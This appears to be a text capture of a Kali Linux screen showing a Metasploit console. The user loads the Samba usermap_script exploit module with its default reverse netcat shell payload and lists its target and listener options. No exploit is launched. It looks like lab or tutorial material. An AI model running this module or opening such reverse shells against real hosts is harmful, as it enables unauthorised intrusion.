

File Machine View Input Devices Help

1 2 3 4

10:32

kali@kali: ~

File Actions Edit View Help

<https://metasploit.com>

Trash

```
= [ metasploit v6.3.43-dev ]
+ -- -- [ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- -- [ 1391 payloads - 46 encoders - 11 nops ]
+ -- -- [ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > use multi/samba/usermap_script

[*] No payload configured, defaulting to cmd/unix/reverse_netcat

msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	139	yes	The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name	Current Setting	Required	Description
LHOST	127.0.0.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

msf6 exploit(multi/samba/usermap_script) >